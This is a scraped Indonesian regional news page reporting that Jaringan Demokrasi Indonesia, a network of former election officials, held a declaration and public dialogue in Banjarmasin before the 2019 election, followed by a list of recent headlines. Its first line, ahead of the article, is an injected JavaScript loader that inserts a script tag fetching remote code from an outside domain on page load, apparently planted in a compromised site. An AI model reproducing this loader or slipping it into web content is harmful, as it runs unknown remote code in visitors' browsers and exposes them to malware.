(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Kawal Tahapan Pemilu, Jaringan Demokrasi Indonesia Hadir di Kalsel


BANJARMASIN, Jaringan Demokrasi Indonesia (JaDI) gelar dialog publik “Arah Demokrasi di Kalsel Menjelang Pemilu 2019” di Hotel Nasa Banjarmasin, Selasa (20/11). JaDI menghimpun alumni penyelenggara Pemilu di tingkat provinsi maupun kabupaten/kota di Kalimantan Selatan. Deklarasi diikuti oleh beberapa alumni KPU Kalsel, Bawaslu, dan Panwaslu kabupaten/kota.

Deklarasi menindaklanjuti presidium nasional, dalam JaDI juga berkumpul Hadar Gumay dan Juri Ardianto yang menjabat sebagai komisioner pejabat KPU RI.

Di temui di sela-sela kegiatan, Samahuddin Muharram, mantan Ketua KPU Kalsel mengatakan, tujuan JaDI tentunya adalah dalam rangka membangun dan bersinergi dengan penyelenggara pemilu dan pemerintah daerah. Sehingga bisa memberi kontribusi pemikiran terhadap apa saja dalam proses tahapan Pemilu di Kalsel.

Memberikan kontribusi dan pemikiran terkait kebijakan pemerintah daerah baik itu provinsi maupun kabupaten/kota. “Misalnya nanti terkait persoalan kebijakan, kemudian persoalan demokrasi dan arah pembangunan di Kalimntan Selatan. JaDI bergerak untuk itu,” ujarnya.


Deklarasi JaDI menurut Samahuddin sangat penting bagi Kalsel, terutama dalam konteks mengawal demokrasi menjelang Pemilu. Karena saat ini, penyelenggara Pemilu banyak persoalan dan mantan-mantan penyelenggara punya pengalaman dan pengetahuan terkait dengan proses tahapan Pemilu.

Ia menambahkan salah satu contohnya. “Misalnya, hari ini data Pemilu masih bermasalah, walaupun secara nasional masih diperpanjang 30 hari ke depan, itu kan sebuah persoalan yang saya kira tidak tuntas. Sehingga jaringan demokrasi ini bisa memberikan masukan,” bebernya.

Persoalan lainnya adalah DCT yang hingga saat ini masih bermasalah. Masih ada persoalan caleg-caleg yang sampai saat ini kemungkinan bisa diangkat dalam proses hukum. Hal ini berarti tidak terjalinnya sinergi antar KPU. “Harus diberikan masukan-masukan. Baik itu Bawaslu dan KPU di Kalimantan Selatan,” katanya.

Keberadaan JaDI untuk Kalsel punya peran unuk beberapa contoh kasus tersebut. Bukan berarti JaDI mencampuri persoalan internal penyelenggara, tapi memberi kontribusi pemikiran dan masukan yang bersifat kritik membangun.(Mario)

Reporter : Mario
Editor : Abi Zarrin AL Ghifari

Desy Arfianty

Recent Posts

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

33 menit ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

43 menit ago

Tiga Wakil Dekan FISIP ULM 2026-2030 Dilantik, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARMASIN - Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Lambung Mangkurat (ULM) memulai… Read More

1 jam ago

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H… Read More

2 jam ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

5 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

6 jam ago

This website uses cookies.